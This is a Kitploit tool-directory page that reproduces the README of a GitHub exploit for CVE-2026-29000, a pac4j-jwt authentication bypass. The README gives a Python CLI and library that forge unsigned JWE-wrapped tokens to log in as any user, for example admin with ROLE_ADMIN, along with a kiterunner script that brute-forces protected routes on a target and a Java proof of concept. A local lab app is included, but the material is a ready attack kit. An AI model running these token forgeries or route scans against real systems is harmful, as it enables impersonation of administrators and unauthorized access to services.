Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29000 — Forge JWE-wrapped unsigned JWTs to bypass pac4j-jwt signature verification (CVE-2026-29000) and authenticate as any user; includes Python CLI, library, Java PoC, and kiterunner route scanning. | Kitploit
Tools/GitHubGitHub/kernelzeroday/cve-2026-29000
Authentication & AuthorizationReconnaissancePayload GenerationVulnerability AnalysisExploitationScripting & AutomationWeb Application ExploitationPenetration Testing
Share
GitHubkernelzeroday/cve-2026-29000

CVE-2026-29000

Forge JWE-wrapped unsigned JWTs to bypass pac4j-jwt signature verification (CVE-2026-29000) and authenticate as any user; includes Python CLI, library, Java PoC, and kiterunner route scanning.

View Repository
93468 months agoNot yet reviewed

CVE-2026-29000: pac4j-jwt JwtAuthenticator authentication bypass

Full buildout: writeup, Java in-process PoC, Python token-forge CLI and library, tests.

Summary

  • CVE: CVE-2026-29000 (CVSS 10, CWE-347)
  • Affected: pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3 when using JWE + signature config
  • Issue: JWE-wrapped PlainJWT (unsigned) bypasses signature verification; attacker with only the server RSA public key can forge tokens and authenticate as any user.

See WRITEUP.md for details and PoC requirements.

Layout

PathDescription
WRITEUP.mdCVE summary, root cause, affected versions, PoC requirements, references
RECON.mdWhat to put in (claim discovery, app-specific claims) and where to submit (headers, cookies, finding protected endpoints)
OPERATIONALIZATION.mdWhat’s needed to run in production: packaging, config, safety, automation, observability, maintenance
scripts/kr_scan.pyForge token and run kiterunner (~/bin/kr) with Authorization: Bearer to brute/scan for protected API routes
examples/Example scripts: forge_and_curl.sh, forge_and_kr.sh
lab/Flask lab app (JWE endpoint + JWKS) for testing token-forge
poc/Java Maven PoC (in-process bypass against pac4j-jwt 6.0.3)
token_forge/Python package: forge JWE-wrapped PlainJWT from PEM or JWKS URL
tests/Pytest tests for claims, forge, keys, CLI
requirements.txtPython deps (jwcrypto, requests, pytest)

Python (token forge)

Setup

python3 -m venv .venv
source .venv/bin/activate   # or .venv\Scripts\activate on Windows
pip install -r requirements.txt

Run CLI

# From PEM (generate with: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# From JWKS URL
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin

# Extra claims (for app-specific discovery): --claim [email protected] --claim key=value
# Options: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose

Output: single line (forged JWT); use as Authorization: Bearer <token>.

Kiterunner (kr) automation

Requires kr in ~/bin/kr. Forge token and run kr brute (or kr scan) with Bearer auth to discover protected routes:

python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run

See RECON.md §4 for options (--subject, --roles, --claim, -A, --scan, etc.).

Library

from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

Tests

pytest -vv --tb=short --maxfail=1
# or with warnings as errors:
pytest -vv -W error -W always --tb=short --maxfail=1

Java PoC

Build and run (requires Java 11+ and Maven)

cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Or token-only (no in-process validation):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# With custom subject/roles:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

Expected: [BYPASS] Authenticated as: admin#override and roles when running in-process.

Tests and coverage

pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # then open htmlcov/index.html

Docker

docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

Lab (vulnerable target)

Flask app that accepts JWE and returns claims (for testing forge + curl/kr).

docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

See lab/README.md.

References

  • CodeAnt AI – Full PoC and analysis
  • pac4j security advisory
  • OpenCVE CVE-2026-29000
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →